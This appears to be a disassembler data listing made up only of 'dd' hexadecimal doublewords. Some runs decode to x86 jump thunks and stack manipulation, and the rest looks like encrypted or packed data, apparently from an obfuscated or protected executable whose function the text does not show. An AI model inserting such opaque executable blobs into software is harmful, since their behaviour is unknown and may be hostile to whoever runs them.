		dd 0ED11A346h, 89D51DEh, 5649DCh, 0F1AD2106h, 7484A8D7h
		dd 0BECD2413h, 63FA118Ch, 2FEB2964h, 0C9C2B657h, 0C82DB66Ch
		dd 2120BF4Fh, 0C330486Ch, 2C909FB5h, 69ABB6F2h,	0ED1D90B2h
		dd 7FA7CEA9h, 44E11A6Eh, 45F4CD9Eh, 5C2FF357h, 65D993E1h
		dd 2CE14FF2h, 0CC591E2Dh, 63B19541h, 0EBE39AACh, 0E3D7894h
		dd 0DA58537Fh, 678E6DEAh, 0B3772658h, 0EC0788D8h, 79DE2092h
		dd 0D5E5A0AEh, 0FA0BA371h, 7E307D8Eh, 0F75BE067h, 2B235A68h
		dd 585570AFh, 497B0434h, 24253A52h, 0FD0E5169h,	32696780h
		dd 375EBD1Ah, 66DCCF3h,	87A8B82Bh, 35FBD20Ah, 7CAA99A0h
		dd 25294BA0h, 4236D7EFh, 7E22EC49h, 47CB518Ch, 0D05DC8C3h
		dd 4D946261h, 85819EE2h, 9C96F20Ah, 98B3D928h, 0BE904E1Fh
		dd 8DBD8157h, 59DDD0F2h, 0CAC1BCCEh, 9063DE5Fh,	9CE0778Fh
		dd 53971696h, 3495D52Fh, 0F315345Bh, 0D9EB74B8h, 0B7D5AAA2h
		dd 0C3FF4AEBh, 0EB7411B9h, 9F83A7DEh, 0E209E86Fh, 26EAA1A3h
		dd 0E41487B9h, 3D6h, 0A68C5C00h, 4346767h, 3A52497Bh, 5E6E2925h
		dd 71890401h, 0AAA2DFEEh, 0C3FBB6D5h, 0E7178EBCh, 18306D98h
		dd 27574647h, 2773681Fh, 4890000h, 5E08924h, 4,	8704E883h
		dd 685C2404h, 5FA6h, 81240489h,	4ECh, 24348900h, 1A135468h
		dd 24048B06h, 4C481h, 0EC810000h, 4, 83242489h,	5E042404h
		dd 24348150h, 219D3665h, 5208468Fh, 8BAh, 81F20100h, 9D366532h
		dd 348B5A21h, 0E6895624h, 4C681h, 0C6810000h, 4, 5C243487h
		dd 582434FFh, 0E904C483h, 0FFFA5898h, 1DBBF144h, 3E1D2306h
		dd 0AEE61765h, 27C9B865h, 0C503061Ah, 0D9AEE0FFh, 62E134B5h
		dd 0FBC7553Ah, 301E5ABAh, 0EF3C51F0h, 8D8D33BFh, 61A2971h
		dd 1815BE66h, 11E960h, 5AC40000h, 8C75077Bh, 0DB027B37h
		dd 8DE341C0h, 61D86569h, 2B698D89h, 6A0614h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 180424h, 51410000h, 5484DC3h
		dd 85C7FA5Ch, 6141055h,	7124h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 16h, 93C35040h, 0BF0FFC19h, 3D85C7D6h
		dd 61401h, 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 5357C353h, 0FAB9B73h, 9D8BDBB7h
		dd 61410EDh, 11C9B5FFh,	6A0614h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 0A40182C3h, 0D995FFAAh
		dd 6A06140Bh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 0B571C353h, 5DC6B93Fh,	0E681669Ch
		dd 6A36FEh, 297195FFh, 0C08B0614h, 0B6211FEBh, 0D2C30B13h
		dd 9435CEA2h, 552A15F0h, 0B6DCAF45h, 0C9A0FF60h, 0DFE6FDFh
		dd 6D734DA5h, 0A7E9ADh,	49A30000h, 0CC4726C5h, 38F3BAF5h
		dd 0AFD666D1h, 0B2979FABh, 0B7E37C4Dh, 0E5720095h, 9CB5E9A9h
		dd 77609BB6h, 94A9B6F3h, 0D7609EB7h, 0BD897D60h, 0BD8C9EA9h
		dd 0ACE3729Eh, 8B204A95h, 937E9BB9h, 96B99D89h,	9E96AFF4h
		dd 0D6B594A1h, 0FD91A7h, 4ACC48D1h, 713C3359h, 0DB4D5200h
		dd 5EF357h, 9DBBEFB6h, 9500BD89h, 0EFB69F89h, 0D00097BBh
		dd 55C3B1B6h, 37005271h, 0D3C20DA4h, 0E0910h, 0Ah dup(0)
		dd 0F5CE900h, 18680000h, 0E9061A2Ch, 0FFFA5690h, 1A2D0668h
		dd 5686E906h, 0DB68FFFAh, 0E9061A2Dh, 0FFFA567Ch, 1A2F3B68h
		dd 5672E906h, 0FF68FFFAh, 0E9061A2Fh, 0FFFA5668h, 1A30C768h
		dd 565EE906h, 5F68FFFAh, 0E9061A31h, 0FFFA5654h, 1A321A68h
		dd 564AE906h, 0D868FFFAh, 0E9061A32h, 0FFFA5640h, 1A336668h
		dd 5636E906h, 2D68FFFAh, 0E9061A34h, 0FFFA562Ch, 1A356468h
		dd 5622E906h, 4A68FFFAh, 0E9061A37h, 0FFFA5618h, 1A384268h
		dd 560EE906h, 95B5FFFAh, 7889161Ah, 6B660105h, 4F7DEA2Eh
		dd 3857D054h, 163AC145h, 28ECA1A0h, 171B92BFh, 0FD017C88h
		dd 0E92D6062h, 41F03D8Ch, 0C255EAB8h, 65670FB1h, 92B58421h
		dd 666553F0h, 0C3B7132Bh, 59205B7Fh, 3A3712Ch, 0CF534A7Ch
		dd 292256B7h, 0DC62C28Ch, 14272B49h, 41793455h,	3E7F4FC5h
		dd 55E4800Fh, 0CF0B62EDh, 8BA89B21h, 20BDh, 61807B00h
		dd 0D747E01Bh, 2849DC6Ch, 0AA951424h, 4855E49Ch, 0C614668Dh
		dd 0D08BA89Ah, 100h, 216567DCh,	0F092B584h, 1D2C8953h
		dd 9653F093h, 567ADEB2h, 69242625h, 45441BABh, 0E31B92B3h
		dd 344B4367h, 1C639B12h, 0C898B3EAh, 0A99FA1B4h, 0B736E83Eh
		dd 793A1E91h, 6219D95Bh, 0BD9BB6F7h, 341853F0h,	0B835FFFEh
		dd 0E27953F0h, 399DADE0h, 6B2224FBh, 970638A7h,	9AEEFF67h
		dd 4962C461h, 0B79B49DCh, 46411873h, 14F5C94Bh,	6366D9Bh
		dd 2F6A6582h, 6497BB1Fh, 9CAFEAE5h, 0E4D92013h,	55DFA355h
		dd 6360FF6Ah, 4A1122Ah,	55E4D935h, 6CA6CA4Eh, 0CB810C61h
		dd 3E10604Fh, 0EB1695A5h, 0D3B7B341h, 0EFA2A1B8h, 108DBC2Bh
		dd 29D430Fh, 0FFCD3D63h, 0CCFh,	0D85C4F7Fh, 0CB4F3E4Fh
		dd 0B074315Ch, 9E621937h, 8B8F0201h, 67662C00h,	4C79E62Ah
		dd 3652CD51h, 1628B77Bh, 8BF6A367h, 0EABE1F2Ah,	0B57F9455h
		dd 0F1356867h, 0BCAB5476h, 4E489927h, 0EB10238Ch, 0AF9353F0h
		dd 51A3678Bh, 0E01B6180h, 0DC6CD747h, 6ED62849h, 24F0C57Fh
		dd 367787ABh, 55E49F17h, 6A621937h, 6CBBF615h, 0F5B0DE60h
		dd 3EA1B9D1h, 2B1653D7h, 0B97B3254h, 71BFBBD2h,	0D8BA899h
		dd 0ADh, 366567ABh, 0AC4A7906h,	72D6E69Fh, 0F41893B5h
		dd 97AF65C4h, 0DDEF53F0h, 587C3755h, 0B0394BD4h, 0D168F459h
		dd 0A99805CCh, 2A53F087h, 0EE1E0226h, 0EAE19776h, 0A8E5E07Fh
		dd 6FCF6B6Ah, 1C6049DCh, 0F3996818h, 0B5F26DD8h, 55E4BF86h
		dd 0FAFB391Dh, 4FCBDA80h, 0F7768589h, 0C661A5D8h, 8345CAC7h
		dd 1D6302A0h, 0BE19FADh, 61610000h, 4C7DEA2Eh, 3752CD51h
		dd 1B29B67Ah, 4039C60h,	0D2068589h, 0E4286564h,	0D3574E7Bh
		dd 0B97D3854h, 9D611C2Eh, 1D2C89F0h, 9655EABFh,	0F48BBB7Dh
		dd 3E4FD8D5h, 59DB3F4Fh, 0A0E8382h, 0EC306B9Dh,	36656726h
		dd 0B3454605h, 65E11994h, 6CF3B341h, 40DF235Ah,	2C334845h
		dd 0EE6A621Bh, 0C5C79824h, 8AC52D6h, 0C16E0FDEh, 53F09272h
		dd 92DA69B6h, 0F55953F0h, 4E4B4681h, 92B6DA3Eh,	6BCA3C79h
		dd 0FF4349DCh, 4B1D210Eh, 0BDA5C7Eh, 89E14E7Dh,	0AAB442AEh
		dd 262596A6h, 0F95D6D28h, 1662833Bh, 296466E5h,	3605A211h
		dd 4D5042AFh, 5C6FA5C9h, 6D266AD3h, 6A61E54Ah, 4241F113h
		dd 49102B4Fh, 1B1433Eh,	0E6296466h, 6563BC2Eh, 0CB486F6h
		dd 0BC00000Bh, 920D118Ch, 6FF83C71h, 7AE52964h,	52CD514Ch
		dd 31BA7E33h, 0E598B71Fh, 0C898621h, 38739F08h,	22596BF4h
		dd 0EF48B3DEh, 55EABF5Ch, 6778BCD7h, 9E063665h,	0CAC7C24Fh
		dd 0FD3A95A6h, 53F0924Eh, 0F0B341C5h, 0BE8D2A85h, 3553F092h
		dd 0D4E499AAh, 0D7C64C70h, 49DC967Bh, 0FC84888Ch, 0C36C9FEDh
		dd 4FC8936Bh, 64D750C3h, 0FF5FD89Bh, 0E569999Bh, 64179ED6h
		dd 96E741BEh, 0BE81209Ch, 5C5FD85Eh, 0D2185AB1h, 0EC91BD58h
		dd 55h,	0A2DFEA71h, 6180EE50h, 2875E01Bh, 53F09219h, 639B1631h
		dd 65AF93E7h, 2C63DD5Ah, 9FE849DCh, 75033B72h, 0A4A8F083h
		dd 35597DBBh, 0FF38AB06h, 55E47E4Ch, 1AB143C7h,	2E6FB3EEh
		dd 55E47E1Dh, 7B900B3Dh, 9FAFE6E4h, 0AE39F93Bh,	0C5D7E7A2h
		dd 0A2Bh, 1B618053h, 376A99E0h,	36718307h, 0DA4847E9h
		dd 3E7FEC49h, 55EAB803h, 6398BC80h, 6FB3EA1Ch, 0ACDFCEF0h
		dd 0B845F431h, 81DE55EAh, 95F10984h, 9003A371h,	68252625h
		dd 46F5F450h, 7655EAB8h, 0E5695D58h, 276972Fh, 6237AC09h
		dd 0D4B84FC0h, 0F7A6D8A7h, 1B92B433h, 1E6A7BE3h, 0DFEB72EDh
		dd 862794A4h, 5FC4C64Bh, 0D22044C8h, 0E8173BE3h, 0CF503445h
		dd 5CE4EE21h, 0AC5D6FDFh, 5C000009h, 32AD712Ch,	0F989C11h
		dd 1A858904h, 0F26DB1ECh, 0D15ADED3h, 453857FFh, 6C2926C1h
		dd 98133FA8h, 82F90B94h, 0FA8137Eh, 55EABD3Ch, 0B9981CB7h
		dd 53F09286h, 0E35EDF4Ah, 0CB53F092h, 8A8EC2B9h, 1B336E9Dh
		dd 0A04175BFh, 6906A7D4h, 0EA49DA48h, 0FA165566h, 90B8FBFh
		dd 813543BEh, 8BB2A32h,	0F48A8E60h, 707ED119h, 0A0DBEDA2h
		dd 4CFF38ABh, 0C755EAD3h, 8A01B143h, 0F4B541FAh, 0D022E079h
		dd 7992093Bh, 5892A10Eh, 2D1155EAh, 0F954C7E7h,	0EA588DBCh
		dd 0F0020655h, 0A2A42DBCh, 0E474CF19h, 8DB1B6E8h, 79D55269h
		dd 0B54FC609h, 316EDD5Ah, 61E55FDEh, 2CF35793h,	62FECE88h
		dd 0E8F2C038h, 98000008h, 76F13568h, 4BD45855h,	26C14540h
		dd 3EA96D28h, 0D8E920Fh, 316C9B2Bh, 585572EDh, 443F4BD4h
		dd 762527C0h, 3B64C7B2h, 55EABD08h, 6744488Bh, 4F053665h
		dd 0B90B313Ah, 9212E0B9h, 0AB1C5321h, 0E6424D29h, 0AB7D0D24h
		dd 0C84A3293h, 82BAF113h, 94E60DE2h, 8594E346h,	44E50h
		dd 61805C00h, 9FAFDEE0h, 0A4E1EC3Bh, 0FF0C3094h, 3E319569h
		dd 11E3BB9h, 1B7F8F02h,	8C01AE19h, 0E749DA5Ch, 4346998h
		dd 106F9C80h, 0EC7BBFEEh, 0AABA3DAh, 55EAAC33h,	546715F4h
		dd 2A6762F9h, 413C4D12h, 74E6D75Dh, 0BA4FC6A8h,	0DFEFA6A3h
		dd 0E09DAC7Bh, 7A89D612h, 0B0D4D1FCh, 17183C98h, 62FF2F7Dh
		dd 2091A31Bh, 0A0000008h, 0BE29EDA0h, 930C108Dh, 6EF93D78h
		dd 46E12560h, 45C64A47h, 0E9A4A313h, 108DBA25h,	3C77930Ch
		dd 2E5D6FF8h, 0F33C8FEAh, 55EAA240h, 670CB0C3h,	0B22EC465h
		dd 0AACF731Dh, 0D7E97686h, 3BD494A4h, 1C5886D4h, 0A7A68595h
		dd 4122F0ABh, 393h, 9286B96Fh, 0A04153F0h, 0AF06A7D4h
		dd 0A449DA48h, 2138ABA0h, 0F5516924h, 2F5E603Fh, 3504A11Ch
		dd 4E55EAB8h, 6D9D1031h, 8B4FC5E9h, 9BB3EA1Ch, 85B6C223h
		dd 0C6BC3618h, 54DBBF4Fh, 62FF43C4h, 887E4CBCh,	38000007h
		dd 16919508h, 0EB74B8F5h, 0C661A5E0h, 0DE49CDC8h, 0AD2EF2AFh
		dd 910C3B8Bh, 0B8F5128Dh, 0A4DFEB74h, 0D6C5C760h, 5BC42752h
		dd 55EAA3E8h, 67E4286Bh, 79063665h, 51275447h, 0FC2FA71Ah
		dd 4D79BB99h, 2F2B422Dh, 85954C01h, 2FE9Dh, 88B91B00h
		dd 4753F092h, 0A2B9D2A6h, 9F28EAA7h, 0DA485C1Eh, 7F82D249h
		dd 0FDE26EBFh, 0BD81E133h, 3D4C138Eh, 0F0148FBBh, 0DB5B6D22h
		dd 5CD9F2A9h, 55EA46EDh, 3AFEE266h, 0E8E09BADh,	51199170h
		dd 8B46E7C4h, 855EAA1h,	0FD3E1204h, 87205B7Fh, 4FC6FE73h
		dd 0A0497B84h, 0F4DD44F6h, 5B7397F8h, 0CE54DBFFh, 0B262FED0h
		dd 6CD485Ah, 4D7D0000h,	3051CE52h, 232EB97Dh, 705A266h
		dd 0F01F888Ch, 0DEF279BDh, 0E0245968h, 0CF534A47h, 0B5793450h
		dd 0A165182Ah
		dd 192875F4h, 9A55EAA0h, 0F48BB779h, 4643DCD9h,	0F416C54Fh
		dd 3E4E4342h, 0F986B6DAh, 34A7D4C7h, 0F09258EBh, 0BD77DB53h
		dd 964D701h, 0F0929DACh, 0E0321653h, 0B3D5F41Bh, 529834F8h
		dd 6C85948Ch, 7, 2212A48h, 0B9400000h, 53F09288h, 0B9D2A647h
		dd 0DA48B97Ch, 0BDCEB249h, 5F023242h, 0FE2927A9h, 0ECD160CDh
		dd 0EE5255EAh, 26557724h, 0B3DBA9E2h, 0D2679836h, 52762D5Bh
		dd 82F90BC0h, 85F3128Ah, 82DD2976h, 0F2564FC6h,	0FE7CB12Dh
		dd 596BC362h, 60Fh, 181C8FBFh, 0B0F7E8Fh, 0F034719Ch, 0DE225977h
		dd 0CB4F4241h, 0A7A66C40h, 8CB926EAh, 76920D11h, 5668F73Bh
		dd 4BB6E327h, 0EAA05FEAh, 75BFD455h, 6366567h, 24544779h
		dd 1F2E45F2h, 0DE7ABEEDh, 85948D10h, 7AEh, 842A0A00h, 40000001h
		dd 0F0928FB9h, 0D3B94853h, 48C17FB8h, 0C64A49DAh, 1994B6B5h
		dd 5788A15h, 229E7EF6h,	0E7178EBCh, 5F4C8D63h, 0B129959Fh
		dd 96172450h, 4FC61D7Ch, 1C8E91F5h, 5462FEF3h, 581D6E4h
		dd 1010000h, 0EC1D8A8Eh, 0D7F26DB1h, 0BBC956DAh, 0A4A33CC0h
		dd 0B2A625E9h, 84880504h, 73B7EE1Bh, 59DDD8F4h,	3DC1BCCEh
		dd 0FD4CE950h, 7655EAA1h, 6567DBDDh, 47460536h,	8FFCC84Ah
		dd 5BD9D4F0h, 0F30B8284h, 205FB6C5h, 0FAB6F1Eh,	85948CE1h
		dd 0D665C23Dh, 0CFAC0F66h, 78868EADh, 71D5A9C8h, 7C0A3h
		dd 2AEC0000h, 0DBh, 928FB940h, 0B94853F0h, 0C97FB8D3h
		dd 549DA48h, 0B83E0DAAh, 0D1B555EAh, 28232743h,	0E5A0AEBDh
		dd 24AA8733h, 0E1331EEAh, 0A165182Ah, 0CD7693EAh, 3235D664h
		dd 0B34165B9h, 9BB3EA1Ch, 85B6C223h, 0C37EBF2Ah, 4055EAD1h
		dd 334736FCh, 0C44FC62Ah, 2457BF40h, 96162FFh, 4BA3Bh
		dd 473A4A00h, 6A2324C3h, 930E39A6h, 0BBF2108Fh,	0A4D9E877h
		dd 41F1DB60h, 5CCB4F42h, 35B2762Fh, 0D9A9E19h, 117C80FBh
		dd 0A63E0DAAh, 1EB555EAh, 0D5FD8B9Ah, 9E1346B8h, 7B8D42D0h
		dd 55770800h, 53E01626h, 80FB0D3Ch, 0F40AD07Ch,	7948594h
		dd 0
		dd 262Ah, 65674000h, 0DF950636h, 72A59780h, 96D7574Ch
		dd 0AF11FE7Ch, 0B0D2898Bh, 2E89CDFDh, 1786B8C7h, 3FD913h
		dd 67570000h, 0B5842165h, 0CE53F092h, 0A516264Ah, 0DFEFAAA6h
		dd 23CB97Bh, 1153F093h,	15809BF2h, 0F093B988h, 0DC563A53h
		dd 0CB99FD0Fh, 0E3737CDAh, 80B3BA41h, 353F02Dh,	64171B3Fh
		dd 6BA9E4E5h, 0CD6567E1h, 0B7C8C0BBh, 0D8FCE09Bh, 0BBEAD5A3h
		dd 9009D07Fh, 0F0712417h, 0B7DBBF53h, 8BD2417Dh, 8D09017Ch
		dd 0AADE2F87h, 0AB381491h, 0CDB149DAh, 0EE9DAFBEh, 108BBD2Ah
		dd 0D3F48BF8h, 856458DAh, 425BC4F7h, 8D4FC145h,	0D9EB7289h
		dd 0B22D5EA2h, 0C5A5C675h, 3BF95D5Fh, 102B6264h, 0F7275C40h
		dd 0E92BCD7Ch, 0F08465DDh, 60845ADBh, 0C94D45E9h, 0E41DE846h
		dd 0B280F85Ch, 383h, 84880303h,	6FB3EA1Bh, 54D8D5F0h, 42C6BDCBh
		dd 27EBA6A5h, 302B0A4h,	0F01D8A8Eh, 0DAF671B5h,	0BACC5BDFh
		dd 0EF523FC3h, 0EAA7F34Eh, 0D9C37055h, 0F2366567h, 0A5A35375h
		dd 80B8F315h, 6CE8E004h, 0F91D98B3h, 0A274B2C2h, 394B6A57h
		dd 92B4CBFBh, 6899E01Bh, 315F64C7h, 2E524903h, 0E12ED8E4h
		dd 52497B8Ah, 0EFBC62CEh, 36DA8594h, 6F000000h,	0C580B3FCh
		dd 3F0353F0h, 618073F5h, 9290A30Ch, 2F1353F0h, 89B7F00Bh
		dd 249DC2Ch, 527E0D3Eh,	0B18AD357h, 9155E4DCh, 6FF83C6Fh
		dd 2102863h, 2DFh, 0E06180A8h, 718AAEDFh, 0A24B4706h, 0F5075BA4h
		dd 0F0082C9Fh, 0E31F9E94h, 6449DCC1h, 7597E8E0h, 0E552F606h
		dd 349988Eh, 5F527108h,	0C073BC2Fh, 4355E448h, 6E59DBFFh
		dd 0C8AFBDC1h, 0B9D2B64Fh, 0E71656ABh, 0EE2414FDh, 0FD8B5A2Ah
		dd 561D61CEh, 321645F5h, 3201AE19h, 1A41CDDBh, 7CC0B4E9h
		dd 5A69F6B6h, 41B01727h, 9FEDFC2Ah, 3CBFC36Ch, 0CCB05BE1h
		dd 67C03348h, 4BA1FDD4h, 7229EB6Fh, 522D5D50h, 0C9B97D30h
		dd 0E695B738h, 3D4E72D6h, 8D0C3EF0h, 0B7E07051h, 12209274h
		dd 0CB4FBB79h, 0C6A8A0B0h, 8A80531Bh, 42FD3C88h, 0A04D9545h
		dd 0DE0C4EA5h, 0F8A3FA5Fh, 20h,	1B618034h, 6CD747E0h, 242849DCh
		dd 9CAA9514h, 8D4855E4h, 9AC61466h, 0B0D08BA8h,	0DC000000h
		dd 6366567h, 24574A79h,	0A66C2725h, 54477906h, 72295B24h
		dd 9725EFAEh, 1E8953F0h, 0F097A291h, 0D75D2153h, 93970638h
		dd 2B6661F8h, 9D1032E9h, 6014F56Dh, 7200CA6Bh, 65E949DCh
		dd 7400E1A1h, 0E0DCE647h, 0C3154FCBh, 527139D3h, 1089C95Fh
		dd 78073458h, 57D05449h, 6EC24538h, 76630337h, 19D3406h
		dd 1D2D0000h, 19E62h, 0F31E898Dh, 0D7F572B6h, 0C0CF58DCh
		dd 0EEC249CDh, 0B0742958h, 9F631A37h, 85890400h, 71B5E81Ah
		dd 0C978A504h, 4A55EAA5h, 0F48B8709h, 27A3DBD2h, 920F3EEDh
		dd 0FAF5EB79h, 0ADB3F4C6h, 1234B367h, 805D979Bh, 5DDEE061h
		dd 0BFFCB5Ah, 96A6CA3Ch, 1C23FC32h, 22B1E516h, 0B2A00D3Eh
		dd 3349DC82h, 4FFE3F4Fh, 0AD55E46Eh, 0A8E3EF7Eh, 6C6E856Ah
		dd 8BA988BEh, 0C2D8h, 0FD8BD400h, 0DBBB579Eh, 0B988152Bh
		dd 3A53F060h, 2BE03256h, 156A6219h, 2283BBF6h, 53F0656Eh
		dd 0AB6F1E20h, 7B930A3Ch, 2481E203h, 53F06515h,	7586AAAEh
		dd 0DC806628h, 8FB1C849h, 0AA68EC1Ch, 4E36FA5Eh, 75B2C9BFh
		dd 4FCAEB10h, 0B4EF1D6Ch, 0F5060A7Eh, 215A5776h, 152B3053h
		dd 23F1D3A6h, 48450477h, 0F8B5D24Dh, 11CE44C0h,	2E78BFF2h
		dd 0CA6301C8h, 0A54052h, 25250000h, 839A66Ah, 0FB169195h
		dd 0DFED7ABEh, 0C8C760A4h, 0E6CA51D5h, 0B87C3150h, 0A76B222Fh
		dd 8D910C38h, 79BDF012h, 3100AD1Ch, 0B255EAAAh,	68679F01h
		dd 5476F135h, 0E752D34Eh, 7C53F092h, 9262D118h,	9DE153F0h
		dd 677FB579h, 79063665h, 0B0D05447h, 49102B51h,	0F6B1433Eh
		dd 0DA480CA9h, 6BB4A749h, 55EAB8D8h, 0BBD3F75Bh, 0D0EBA2A4h
		dd 0E047789h, 0F0ABDD4Ah, 293659D8h, 0C2ADB28Dh, 336A9CABh
		dd 5F4E70EFh, 7B32502Fh, 0FE15C443h, 4ACEBDCFh,	0D8F0ABDDh
		dd 0ACAh, 1F8C6000h, 3F4F3E40h,	67D759DBh, 7B043467h, 253A5249h
		dd 15E6E29h, 0EE718904h, 0D5AAA2DFh, 0BCC3FBB6h, 98E7178Eh
		dd 4718306Dh, 1F275746h, 81E18951h, 4C1h, 4E98300h, 31240C33h
		dd 0C33240Ch, 89505C24h, 405E0h, 42D0000h, 87000000h, 895C2404h
		dd 69682434h, 89000032h, 53BE2404h, 5538B46Fh, 3C4A5FBDh
		dd 5DEE016Eh, 0D6F74E4Eh, 0E483C681h, 0EE68AD0Ah, 8900001Ah
		dd 4832424h, 68580424h,	1236h, 8F243489h, 48B0840h, 0E0895024h
		dd 405h, 4C08300h, 5C240487h, 5024348Bh, 405E089h, 83000000h
		dd 48704C0h, 49E95C24h,	85FFFA47h, 0F9C441BBh, 0BA397A66h
		dd 0CB89379h, 3061A39h,	62E0FFC5h, 0B7643092h, 0CE252EA8h
		dd 300CFD30h, 0B2381CD3h, 4D029E7Bh, 4A2AA642h,	0A17B0D4Ah
		dd 62620276h, 0D3489F1Eh, 7D7296CCh, 0B340EBAFh, 0FA624B23h
		dd 0B3776188h, 94DD054h, 3606D17Bh, 0E4687582h,	0F81EE1FFh
		dd 0E81BB59Dh, 0Ch, 0DB16DB68h,	0D5E272B4h, 8D94B09Eh
		dd 0F98B665Bh, 65C0C381h, 8A510000h, 6859CFh, 0E9000000h
		dd 0Eh,	46696C2Ch, 6AC5845Eh, 0A191715Ch, 0F85E395Fh, 0F33048Bh
		dd 0E881FBBFh, 438DB6B5h, 0DE8h, 0E4FF8400h, 1465FD33h
		dd 4CDB0E16h, 8166203Ah, 59A242DFh, 0FEC6F081h,	0E8811276h
		dd 38C90AC1h, 0DE9h, 8E0E7300h,	8FD90B31h, 0C5398F9Ch
		dd 0E9507A0Dh, 9, 8739316Ch, 0A9290181h, 33048F92h, 0BF66FB8Bh
		dd 0EE830DEBh, 22E98004h, 9AF4FE81h, 850FFFFFh,	0FFFFFF94h
		dd 13E9h, 0AFF76A00h, 683ED6BEh, 42815648h, 1763400h, 40DABA50h
		dd 0DE9h, 7482AA00h, 58h, 0
		dd 0F6E90000h, 0A0000004h, 0BE29EDA0h, 930C108Dh, 6EF93D78h
		dd 46E12560h, 45C64A47h, 0E9A4A313h, 108DBA25h,	3C77930Ch
		dd 2E5D6FF8h, 0F33C8FEAh, 55EAA840h, 670CB0C3h,	0B5842165h
		dd 0CE53F092h, 5615264Ah, 883853Bh, 587094F0h, 0E97636FCh
		dd 2863A7DAh, 93C170BDh, 0FE4253F0h, 36656734h,	0A6477906h
		dd 0C29171C2h, 0D9F115C1h, 0AC1F8586h, 0F08A3003h, 8ECFB353h
		dd 53F08AB3h, 6FDA5B30h, 0E453F08Ah, 20587C60h,	0C9648B64h
		dd 0EE1E93B2h, 0D1F3A86Ah, 2F2556DAh, 42D69A7Dh, 5AF10346h
		dd 30AF732Eh, 1E619914h, 384B4F1h, 828EBDD4h, 403B4910h
		dd 0F00ECA79h, 0ADE0E253h, 0CD5175D9h, 57E243BEh, 0EC53F00Eh
		dd 0D3F5AA68h, 3D01A0D8h, 253F00Eh, 26F4066Dh, 0B0859529h
		dd 33h,	3665677Ch, 929AA706h, 0F69953F0h, 8C8D539Fh, 1298594h
		dd 87000000h, 7376667h,	0A0AD4778h, 0B6C9C1E5h,	0A9ED1D98h
		dd 6798A7CEh, 5375F236h, 671ED458h, 7A053568h, 0F2245449h
		dd 32C4C299h, 0A9769A17h, 6CE8E09Bh, 93B2D9A6h,	86F53974h
		dd 0F3224CEh, 0A08BBA9h, 40783355h, 6199143Fh, 47DA31DCh
		dd 0D3C79D4h, 8653F012h, 1288BB82h, 0E34C53F0h,	53F01250h
		dd 371B6FD3h, 12A89B04h, 272B53F0h, 0AEF0DEDh, 0A0EF8595h
		dd 0C5000000h, 5356867h, 4FFA3B96h, 0C453F092h,	0F21DB240h
		dd 14C387B7h, 0C2BFCEFDh, 0D3E4D3Eh, 0BECD8290h, 0D05DC8C3h
		dd 53F09261h, 28949EE2h, 163148BBh, 92E7529Bh, 187C53F0h
		dd 4C47451Ah, 0C752293Fh, 42B223E7h, 72A9F4B0h,	0EABA607h
		dd 242853F0h, 0E8EA01EEh, 85952652h, 654Ch, 0FD8B6800h
		dd 0D7446C7h, 7724EEE4h, 0F0ADDE58h, 20587CD8h,	0CE6F335Fh
		dd 53F05F73h, 215C77F0h, 0B5E1193Dh, 5DE28EC6h,	8AF1A6C1h
		dd 8D09017Ch, 0ADC4AB69h, 0BAC96F9Eh, 0E131C835h, 799D1B3Ah
		dd 6703D155h, 0A6073766h, 53F092A4h, 0FD0D8886h, 122A6762h
		dd 0A8729976h, 6A688F60h, 85948CC4h, 1D2h, 6C67DE00h, 26C1BCCAh
		dd 31496D28h, 69611C2Eh, 35E80FEEh, 92EE5DDAh, 0E16553F0h
		dd 54517C13h, 2B51B0D0h, 62579710h, 0A4A849DCh,	0C2B9CB94h
		dd 0EC9FA13Eh, 0B3FC6FDCh, 55E48280h, 0CBC2C403h, 0F43357B3h
		dd 2BAFDFD6h, 8253ECE9h, 3B5455E4h, 1893B5D4h, 34719CE3h
		dd 0C6728004h, 44742759h, 47988D7h, 0CD8290F4h,	1EC8C0BBh
		dd 596B9AF1h, 0AC72DE22h, 0CA8BA89Ch, 140h, 0D9F48BE6h
		dd 5A722927h, 6458DAFEh, 5BC4F785h, 49DC90DBh, 47183014h
		dd 0B9D25645h, 0BEFFA5A2h, 55E49083h, 1A183C00h, 95B34345h
		dd 0BDC2FA1Eh, 67F8108Bh, 7A053568h, 0F2245449h, 0A9162E45h
		dd 6CF20C81h, 0DEB1072Bh, 0CE0AE786h, 6F9E15BCh, 67040E32h
		dd 0DCCFF110h, 0BA2EFC58h, 1D888BA8h, 0E4B0A190h, 0D45E2255h
		dd 342Bh, 65808100h, 9043EC1Fh,	53D3F092h, 0E35EDFEFh
		dd 0CCD3F092h, 0AF3AEC03h, 5E0DAAA1h, 9553F092h, 5C403D4Ah
		dd 0AA02D8h, 0A6110000h, 0F092CA79h, 4FC54953h,	9F188BC5h
		dd 53F092ACh, 0F6A7D827h, 0D45E42C6h, 407B01E0h, 0DC6A23E7h
		dd 5B70D449h, 4B0F98E8h, 0FC732FAAh, 0E4B84EFDh, 0B341C555h
		dd 235A6CF3h, 4F3E40DFh, 0B94EFE3Fh, 0C4B55E4h,	0E9A4A6E5h
		dd 0F6175625h, 0DCE87787h, 3F77BDA1h, 36A1DAAEh, 0B9EF5ADBh
		dd 0E06455E4h, 7223A312h, 0F85C4FCEh, 0E58DBFC0h, 7189ADE8h
		dd 0A9A1DCEEh, 0C2FAB7D6h, 8A90E714h, 0C75FB665h, 69D84526h
		dd 415FDEF4h, 0D5314944h, 42799DE1h, 47988D7h, 3F0F8F0Eh
		dd 0B42745F4h, 0B833D86Bh, 3DF75B41h, 77BD41C5h, 3D79FD8Bh
		dd 0D1AA08D2h, 0EE9A6B43h, 0DA5250DDh, 549349DAh, 0C7437B32h
		dd 0B2D4ABA3h, 65890400h, 890406A1h, 62C13071h,	65D2F71Dh
		dd 7A0130Eh, 3779E934h,	9249CB4Fh, 6EF93D70h, 5629215Ch
		dd 0CA4D7D38h, 0E39AA8B7h, 8234A11h, 20585371h,	8FB16EA4h
		dd 7D8F181Ch, 0B8DCD7F5h, 3B280h, 8C380000h, 346767A6h
		dd 52497B04h, 6E29253Ah, 8904015Eh, 0A2DFEE71h,	0FBB6D5AAh
		dd 178EBCC3h, 306D98E7h, 57464718h, 89561F27h, 4C681E6h
		dd 83000000h, 348704EEh, 24248B24h, 5E08950h, 4, 8704E883h
